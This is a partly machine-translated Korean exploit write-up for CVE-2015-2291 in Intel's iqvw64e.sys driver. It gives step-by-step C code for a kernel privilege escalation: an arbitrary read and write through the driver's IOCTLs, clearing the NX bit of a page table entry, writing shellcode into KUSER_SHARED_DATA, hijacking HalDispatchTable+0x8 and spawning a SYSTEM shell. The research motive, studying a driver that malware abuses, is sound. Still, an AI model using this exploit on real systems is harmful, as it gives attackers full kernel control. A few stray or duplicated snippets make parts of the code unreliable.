
(1) IQVW32.sys 1.3.1.0 이전 버전 및 (2) IQVW64.sys 1.3.1.0 이전 버전(Windows용 Intel 이더넷 진단 드라이버에 포함됨)은 로컬 사용자가 제작된 (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F 또는 (d) 0x80862007 IOCTL 호출을 통해 서비스 거부를 일으키거나 커널 권한으로 임의 코드를 실행할 수 있도록 합니다.
(1) IQVW32.sys 1.3.1.0 이전 버전 및 (2) IQVW64.sys 1.3.1.0 이전 버전(Windows용 인텔 이더넷 진단 드라이버)은 로컬 사용자가 조작된 (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F 또는 (d) 0x80862007 IOCTL 호출을 통해 서비스 거부를 일으키거나 커널 권한으로 임의 코드를 실행할 수 있도록 합니다.
이 저장소에는 해당 취약점에 대한 분석 자료와 64비트 Windows 7 SP1 및 Windows 10 20H2에서 작동하는 개념 증명 익스플로잇이 포함되어 있습니다. 드라이버 파일은 드라이버 파일 디렉터리에서 찾을 수 있습니다. 분석 자료/문서에서 오타를 발견하거나 특정 세부 사항에 대해 더 자세한 설명을 보고 싶다면 저장소에 이슈를 생성해 주세요! 최대한 빨리 수정하겠습니다.
특히 이 디바이스 드라이버에 대한 익스플로잇을 작성하는 동기는 현재 이 드라이버가 악의적인 서명되지 않은 루트킷을 로드하기 위해 실제 환경에서 남용되고 있기 때문입니다. BYOVD(취약한 드라이버 가져오기) 방법을 사용하여 맬웨어는 상승된 권한으로 실행 중인지 확인하고, 취약한 드라이버 복사본을 드롭한 다음 드라이버를 로드하고, 이를 악용하여 커널 코드 실행 권한을 얻어 루트킷을 로드할 수 있습니다. 맬웨어 샘플을 성공적으로 리버스 엔지니어링하지 못했기 때문에 익스플로잇을 직접 만들기로 결정했습니다.
실제 환경에서 발견된 샘플: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
디바이스 드라이버 iqvw64e.sys는 네트워크 어댑터 진단을 수행하도록 설계된 드라이버입니다. 사용자 모드 구성 요소가 디바이스 드라이버와 상호 작용하여 다양한 커널 루틴을 수행할 수 있도록 몇 가지 IO 제어 코드(IOCTL이라고도 함)를 노출하며, 상호 작용 중 사용자 입력 버퍼에 "하위" IO 제어 코드가 제공됩니다. 취약한 코드 경로를 트리거하는 데 사용될 IO 제어 코드는 0x80862007입니다. 기본 제어 코드 외에도 이 분석에서 다룰 "하위" IO 제어 코드는 memmove 함수 호출을 트리거하는 0x33 코드와 memset 함수 호출 코드 경로를 트리거하는 0x30 코드입니다. 이 분석에서는 DriverEntry 루틴에 대한 세부 사항은 다루지 않습니다. 이에 대한 자세한 설명은 Microsoft 설명서 페이지에 충분히 나와 있습니다.
먼저, 이 특정 디바이스 드라이버와 어떻게 상호 작용할 수 있는지 알아야 합니다. 디바이스 드라이버와 통신하는 가장 일반적인 방법은 DeviceIoControl이라는 함수를 사용하는 것입니다. 이 함수의 기본 개념은 CreateFileA로 생성된 유효한 드라이버 핸들을 전달하고, 원하는 커널 루틴에 해당하는 IO 제어 코드를 전달하고, 예상되는 구조체(또는 버퍼)를 전달하면 출력 버퍼에 데이터가 반환된다는 것입니다. 이러한 루틴이 때때로 필요할 수 있지만(예: 오버클러킹 목적의 모델별 레지스터 액세스), 보안에 심각한 위험을 초래하기도 합니다. 하지만 어떻게 말이죠?
CVE-2015-2291의 경우, 권한이 없는 사용자에 의해 취약점이 트리거될 수 있습니다. 검증 검사가 없고 취약점을 악용하는 데 관리자 권한이 필요하지 않기 때문에 보안 위험이 발생합니다. 이 두 가지 결함 아래에는 IO 제어 코드 인터페이스에 의해 노출된 memset 및 memmove 함수 호출을 완전히 제어할 수 있는 능력이 있습니다. 이전에 언급한 DeviceIoControl 함수를 기억하시나요? 커널 루틴에서 사용될 구조체를 전달할 수 있다고 했죠? 이 모든 것이 어떻게 연결되는지 보여줍니다.
잠시 뒤로 물러서 보겠습니다. 먼저 취약한 디바이스 드라이버와 관련된 드라이버 핸들을 얻어야 합니다. 하지만 그 전에도, 해당하는 명명된 디바이스 개체를 찾아야 합니다. 이 개체는 기호 링크(일반적으로 하드 코딩됨)를 통해 사용자 공간에 노출되며, SysInternals 제품군의 일부인 WinObj를 사용하여 찾을 수 있습니다. 문자열 덤프 유틸리티를 사용하여 기호 링크를 덤프하거나 디바이스 드라이버를 리버스 엔지니어링할 수도 있지만, 간단히 드라이버를 로드하고 WinObj를 사용하여 찾았습니다. 디바이스 드라이버와 관련된 기호 링크는 \\.\GLOBALROOT\Device\Nal입니다. 드라이버 핸들을 얻으려면 CreateFileA 함수를 호출하고 프로세스의 이후 단계에서 사용할 유효한 드라이버 핸들을 반환하도록 해야 합니다. 이 과정의 코드는 다음과 같습니다:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
우리는 exploitation 과정 후반에 드라이버 핸들을 사용할 것입니다. 지금은 익스플로잇 준비를 시작하겠습니다. 다음 단계는 [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 함수를 사용하여 `ntdll.dll` 라이브러리를 로드하여 [모듈 핸들](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types)을 반환받는 것입니다. 이를 통해 필요한 함수들을 동적으로 찾을 수 있습니다. `ntdll.dll` 라이브러리가 이미 우리 프로세스에 로드되어 있을 수 있지만, 그럼에도 사용할 수 있는 라이브러리 핸들을 얻어야 합니다. 익스플로잇에 필요한 함수들은 [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) (중간 프로세스 무결성으로 NT 커널의 베이스 주소를 유출하기 위해 exploitation 과정 후반에 사용)과 [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) 함수(취약점을 트리거하기 위해)입니다. `ntdll.dll` 라이브러리를 로드하는 코드는 다음과 같습니다:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
이제 라이브러리에 대한 핸들을 획득했으므로, NtQueryIntervalProfile 함수를 찾는 것으로 시작하겠습니다. 시작하려면 이 함수가 문서화되지 않았기 때문에 해당 함수의 타입 정의가 필요합니다. 온라인에서 타입 정의를 찾을 수 있지만, 여기서 더 쉽게 접근할 수 있도록 제공합니다:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
이 함수를 사용하려면 `NtQueryIntervalProfile` 타입을 사용하여 변수(로컬 또는 전역, 선택)를 선언해야 합니다. 그렇다면 이 변수를 실제 함수로 어떻게 변환할까요? 이를 위해 [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)라는 함수를 사용할 것입니다. 검색하려는 모듈에 대한 핸들(첫 번째 매개변수)을 전달하고 함수 이름(두 번째 매개변수)을 전달하면 모듈에서 원하는 함수를 찾아 해당 함수에 대한 포인터를 검색할 수 있습니다! 이 정보를 처리하는 데 도움이 되는 코드가 제공됩니다.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
함수를 동적으로 로드하고 사용할 수 있는 이유는 함수 자체가 실행 가능한 코드에 대한 포인터이기 때문입니다. 함수의 실제 본문은 실행될 코드입니다.
이제 NtQueryIntervalProfile 함수 포인터를 해결했으므로, 여전히 NtQuerySystemInformation 함수의 주소를 검색해야 합니다. 마찬가지로 이전과 같이, 이 함수에 대한 형식 정의가 필요하며, 함수를 호출하기 위해 변수를 선언해야 합니다. 또한 이전과 같이, 접근 용이성을 위해 형식 정의를 제공했습니다.```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
그리고, 마찬가지로 이전과 같이, 우리는 함수를 찾아야 합니다. 이전 `GetProcAddress` 호출과 이번 호출의 유일한 차이점은 우리가 찾고 있는 함수입니다. 함수를 복사하고 두 번째 매개변수를 변경하여 두 번째 함수를 검색할 수 있습니다. 코드가 작성된 후에는 다음과 유사한 결과가 나와야 합니다:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
Perfect! 필요한 모든 비존재 함수들을 찾았습니다. 이제 NT 커널 베이스 주소를 유출해야 합니다. NtQuerySystemInformation의 도움으로 현재 로드된 모든 디바이스 드라이버의 베이스 주소 및 기타 정보를 반환하는 쿼리를 생성할 수 있습니다. NtQuerySystemInformation 함수의 첫 번째 매개변수는 열거형이며, 특히 공개적으로 문서화되지 않은 것입니다. 해당 열거형은 SystemModuleInformation이며, 해당 값은 0xB입니다. 그런 다음 반환된 구조체 중 하나에 대한 포인터를 전달해야 합니다. 필요한 구조체와 열거형은 아래에 제공되며, FuzzySecurity (@b33f)의 제공입니다:```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
하지만 잠깐, 더 알아야 할 것이 있습니다! 할당할 구조체의 크기를 지정해야 합니다. 구조체의 크기는 정보를 검색할 장치 드라이버의 수에 따라 달라지므로, 이 함수를 두 번 호출해야 합니다. 첫 번째 함수 호출은 구조체의 예상 크기를 검색하고, 두 번째 함수 호출은 정보를 검색하여 우리의 구조체에 저장합니다. 크기를 검색하려면, 첫 번째 매개변수로 앞서 언급한 `SystemModuleInformation` 열거형을 사용하고, 구조체의 크기를 저장할 변수에 대한 포인터를 전달하고, 나머지 매개변수에는 `0`(또는 `NULL`)을 전달합니다. 코드는 다음과 같습니다:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
아주 간단합니다! 예상 구조체의 크기를 성공적으로 검색했습니다. 이제 정보를 저장할 변수에 메모리를 할당해야 합니다. 우리가 제공하는 임의의 주소에, 원하는 크기로, 자체 보호 세트를 사용하여 스택 메모리를 할당하고, 이 메모리에 대한 포인터를 반환하는 VirtualAlloc이라는 함수를 사용할 수 있습니다. 우리의 목적상, 고정된 주소에 메모리를 할당할 필요가 없으므로, 메모리 관리자가 메모리 위치를 선택하도록 0을 전달할 것입니다. 또한 NtQuerySystemInformation이 반환한 크기로 스택 메모리 블록을 할당해야 하므로, 해당 값을 저장해야 했습니다. 할당 유형 및 보호 매개변수에 대해서는 아래 코드에 표시된 일반 인수를 사용하면 됩니다.```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
이제 반환된 구조체를 위해 스택 메모리를 할당했으므로 시스템 모듈 정보를 쿼리하고, 로드된 모든 장치 드라이버에 대한 정보를 포함하는 구조체를 검색할 수 있습니다. 이를 위해 이전에 사용한 `NtQuerySystemInformation` 함수 호출을 재사용하고, 구조체에 대한 포인터(두 번째 매개변수)와 구조체의 크기(세 번째 매개변수)를 전달하면 됩니다. 이제, 다음과 같은 코드가 있나요?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
음, 저는 여러분도 비슷한 구조를 가지고 있기를 바랍니다. NT 커널 베이스 주소를 유출하기 위해 남은 작업은 구조체를 질의하는 것뿐입니다! 이 경우 드라이버 이름을 문자열과 비교할 필요가 없습니다. NT 커널 드라이버 정보는 항상 이 구조체의 인덱스 0에 있기 때문입니다. 드라이버의 베이스 주소를 검색하려면 ImageBaseAddress 구조체 필드의 값을 출력, 저장 또는 반환하면 됩니다. 또한 포인터를 사용하기 전에 NULL이 아닌지 확인하는 것이 좋은 방법입니다.```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
커널 베이스 주소를 성공적으로 반환했습니다. 이제 이 취약점의 익스플로잇 과정을 시작하기 전에 한 단계가 더 남았습니다. `QWORD`(64비트 정수) 포인터를 만들어 [PTE(페이지 테이블 엔트리)](https://en.wikipedia.org/wiki/Page_table)를 저장하고 `VirtualAlloc`을 사용하여 스택 메모리를 할당해야 합니다. PTE에 대해서는 이 문서의 뒷부분에서 다룰 것입니다.
앞서 설명한 대로 `VirtualAlloc`을 사용하여 메모리를 할당하고 메모리 블록에 대한 포인터를 반환합니다. 제 익스플로잇에 사용된 코드는 아래와 같습니다:
```cpp
BYTE* p = (BYTE*)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
``````C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
이제 설정 프로세스의 마지막 단계가 끝났으니, 익스플로잇 과정을 시작해봅시다!
논문의 앞부분에서 언급했듯이, 우리가 사용하려는 IO 제어 코드는 IOCTL 0x80862007입니다. 그런데 어떻게 "서브" IOCTL을 전달할까요?

장치 드라이버에 전달하는 사용자 공간 입력에 대한 포인터는 rcx 레지스터에 저장됩니다. 이 그림에서 보듯이, 우리가 전달할 구조체의 첫 번째 QWORD 값에 있는 값을 역참조하고 있음을 알 수 있습니다. 그런 다음 얻은 값에 대해 switch-case를 수행합니다.

디컴파일된 의사 코드를 살펴보면, 우리가 memset과 memove의 세 값을 각각 제어할 수 있는 두 루틴을 찾을 수 있습니다. 구조체의 첫 번째 QWORD로 0x30 값을 전달하면 memset 코드 경로에 도달할 수 있습니다. 또는 구조체의 첫 번째 QWORD로 0x33 값을 전달하면 대신 memmove 코드 경로에 도달합니다. 이 두 코드 경로는 아래에 각각 나와 있습니다.

사용된 입력 버퍼의 오프셋을 살펴봄으로써, 우리는 더 쉽게 읽기 위해 두 함수 모두에 전달할 구조체를 생성할 수 있었습니다. 패딩으로 사용되는 QWORD 필드가 있다는 점에 유의하세요. 해당 값을 설정하지는 않겠지만, 구조체 정의를 올바르게 하기 위해서는 이 필드가 필요합니다. 또한 이 루틴들에 대한 호출에 사용된 매개변수에 주목하세요. 리버스 엔지니어링 과정에서 전달된 매개변수가 각 함수 정의에 맞는 올바른 순서로 되어 있음을 알게 되었습니다. 이를 나타내는 그림도 아래에 제공되었습니다.
memset 코드 경로 입력 구조체:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
`memmove` 코드 경로 입력 구조:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

빠른 분석 후, 이것들이 임의의 커널 읽기 및 쓰기 익스플로잇 프리미티브를 제공할 것이라고 안전하게 가정할 수 있었습니다. 이는 Windows 10에서 익스플로잇에 완벽합니다. 익스플로잇 프리미티브를 임의 읽기/쓰기로 변환할 필요가 없기 때문에, 이 취약점을 쉽게 익스플로잇할 수 있습니다.
시작하려면, memmove 익스플로잇 프리미티브를 사용하여 nt!MiGetPteAddress+0x13 커널 함수를 읽을 것입니다. 함수의 이 오프셋에서 임의의 값이 있음을 발견합니다. 익스플로잇에서 수행할 수 있는 다른 작업들과 결합하여 모든 PTE의 기본 주소를 계산할 수 있습니다! 이전에 만든 pte_address 변수를 기억하시나요? 아니면 NT 커널 기본 주소의 유출을 기억하시나요? 앞서 논의된 모든 익스플로잇 준비가 이를 가능하게 했습니다. 모든 PTE의 기본 주소를 계산하는 코드는 아래에 나와 있습니다. KUSER_SHARED_DATA 주소에 주목하세요. Windows 10 20H2에서는 이 주소가 커널 ASLR (주소 공간 레이아웃 무작위화)의 영향을 받지 않은 마지막 몇 개의 메모리 영역 중 하나였기 때문입니다.
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
이제 대상 페이지의 PTE 기본 주소를 계산했으므로, 이 주소를 역참조하여 페이지 항목이 사용하는 비트를 검색하려고 합니다. 이 데이터는 곧 이 메모리 영역을 읽기, 쓰기, 실행 가능으로 변경하는 데 필요합니다. 구조체의 `source` 주소를 PTE 주소를 가리키도록 변경하고, `destination` 필드는 검색된 비트를 저장할 스택 변수를 가리키도록 변경했으며, 입력 구조체의 다른 필드는 변경하지 않았습니다.```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
이제 실제 PTE의 비트 내용을 얻었으므로, 다른 비트를 켜거나 끄지 않고 이를 실행 가능으로 표시하려고 합니다. 이를 위해 검색된 값에서 최상위 비트를 지워 NX(no execute) 비트를 제거하려고 합니다. 다행히도 저장된 값에 비트별 AND 연산을 사용하여, 값 0x0FFFFFFFFFFFFFFF와 AND 연산을 수행하면 이 작업을 수행할 수 있습니다. 그런 다음 임의 쓰기 원시 기능을 사용하여 커널 주소에 쓰기를 트리거하여 PTE 주소에 저장된 값을 덮어씁니다. 구조에 관해서는 source 구조체 필드를 수정하여 저장된 비트를 가리키고, destination을 변경하여 다시 PTE 주소를 가리키도록 합니다. 이는 본질적으로 PTE 주소를 검색하는 것과 반대 순서입니다. 아래 코드 조각에서 이를 보여줍니다.```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
Before we continue, we will want to verify that the PTE's contents were overwritten before continuing. If the bit overwrite fails, we will crash the machine (with a `KERNEL_SECURITY_CHECK_FAILURE` or equivalent bug check). To verify this, we will be using the `!pte` command in [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) to confirm our overwrite worked as intended.

Upon examination of the PTE bits, we can see that the NX-bit is no longer present! This means that the `KUSER_SHARED_DATA` region of memory is now executable. While we are dealing with this region of memory, it only makes sense to place the kernel payload somewhere here. After performing analysis of the chunk of memory, we learned that an offset of `0x50` from the base of the `KUSER_SHARED_DATA` region is freed memory. This is the perfect location to place our payload!

Remember our `memset` write primitive from earlier? Using this primitive, we can iterate through all of the bytes in our kernel payload, and write every individual byte to this region of memory using `memset`. While it is possible to use `memmove` to write the payload to this location, we wanted an excuse to use both primitives, to demonstrate how one or the other can be abused, especially under full control. We will be using the `0x30` jump code to hit the `memset` code-path, with a length of `0x1` bytes to be written. The `destination` will have to be incremented by one to point to the next byte of freed memory, along with the offset of our kernel payload. This process can be demonstrated with the provided `for` loop below.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
취약점을 여러 번 트리거하는 것은 시스템 충돌 위험이 있지만, 디바이스 드라이버와 그 (잘못) 사용된 루틴의 전반적인 안정성 덕분에 이 경우는 예외입니다. 다음 단계로, nt!HalDispatchTable+0x8에 저장된 원래 함수 포인터를 검색하려고 합니다. 검색된 함수 포인터는 복구 단계에서 사용되며, 잘못된 함수 포인터에 접근하여 시스템이 무작위로 충돌하는 것을 방지합니다. 이 단계는 Windows 7에서 그다지 중요하지 않지만, 페이로드 실행 함수가 자주 호출되지 않으므로, Windows 10의 이후 빌드에서는 그 사용 빈도가 증가했습니다. 항상 그렇듯이, 읽기 프리미티브를 다시 한 번 악용하여 반환된 포인터를 스택의 지역 변수에 저장할 것입니다. 또한 유출된 NT 커널 베이스 주소를 다시 사용하여, 이번에는 nt!HalDispatchTable에 대한 오프셋과 추가 오프셋 0x8을 함께 사용할 것입니다.```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
몇 단계만 더 거치면 됩니다! 디스패치 테이블에 원래 포인터를 성공적으로 저장한 후에는, 이제 같은 포인터를 `KUSER_SHARED_DATA+0x50` 주소로 덮어쓸 차례입니다. 이 주소는 `0xFFFFF78000000050`로 변환됩니다. 이 시점에서 모든 준비가 끝났으며, 시스템을 루팅할 준비가 되었습니다! 포인터 덮어쓰기의 소스를 이전에 `destination`이었던 값으로 변경하고, `source` 필드에 우리 주소가 포함된 로컬 변수에 대한 포인터를 전달하면 됩니다.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
The NtQueryIntervalProfile 함수는 HAL 디스패치 테이블의 포인터, 특히 0x8 오프셋을 사용하는 것으로 알려져 있으며, 이 때문에 일반적으로 악용됩니다. 커널 메모리에 임의 쓰기 기능을 사용하면, 이것은 가장 쉬운 익스플로잇 기술 중 하나입니다! 현재 익스플로잇 시점에서 nt authority\system 권한을 획득했지만, 아름다운 셸을 실행하기 전에 마지막 단계 하나를 수행해야 합니다: 정리 및 복구입니다.
둘 다 간단하기 때문에 하나의 단계로 묶겠습니다. 마지막으로 두 가지 임의 쓰기 프리미티브를 모두 사용할 것입니다. 먼저, 커널 공간에서 모든 셸코드를 제거하는 것으로 시작하겠습니다. 페이로드 길이만큼 반복하는 동일한 for 루프를 사용할 수 있으므로 쉬운 작업입니다. 이번에는 익스플로잇 실행 이전과 똑같이 메모리를 0으로 덮어쓸 것입니다.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
저는 `for` 루프 반복에 대해 더 이상 설명할 필요가 없다고 생각합니다. 복구 프로세스(그리고 일반적인 익스플로잇 프로세스)의 마지막 단계는 `nt!HalDispatchTable+0x8`의 원래 함수 포인터를 복원하는 것입니다. 원래 `nt!HalDispatchTable`의 여러 포인터 중 하나를 덮어쓰는 데 사용되었던 `memmove` 구조 데이터를 이용하여, `source` 필드를 수정하여 원래 주소를 가리키는 포인터를 전달하기만 하면 됩니다. 이전과 마찬가지로, 이 부분을 더 이상 설명할 필요가 없다고 생각합니다($1을 걸겠습니다, 제가 몇 번이나 반복했는지 세어보세요!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
And now, you get to have your fun. Spawn that system shell!

전반적으로, 이 버그는 익스플로잇하기에 매우 재미있었습니다. 익스플로잇 과정은 예상했던 것만큼 복잡하지 않았습니다. 또한 PTE 조작에 더 익숙해질 수 있었고, HackSys Extreme Vulnerable Driver를 남용하지 않는 첫 번째 로컬 권한 상승 익스플로잇을 만들 수 있었습니다! 곧 여러분을 다시 만나길 바랍니다.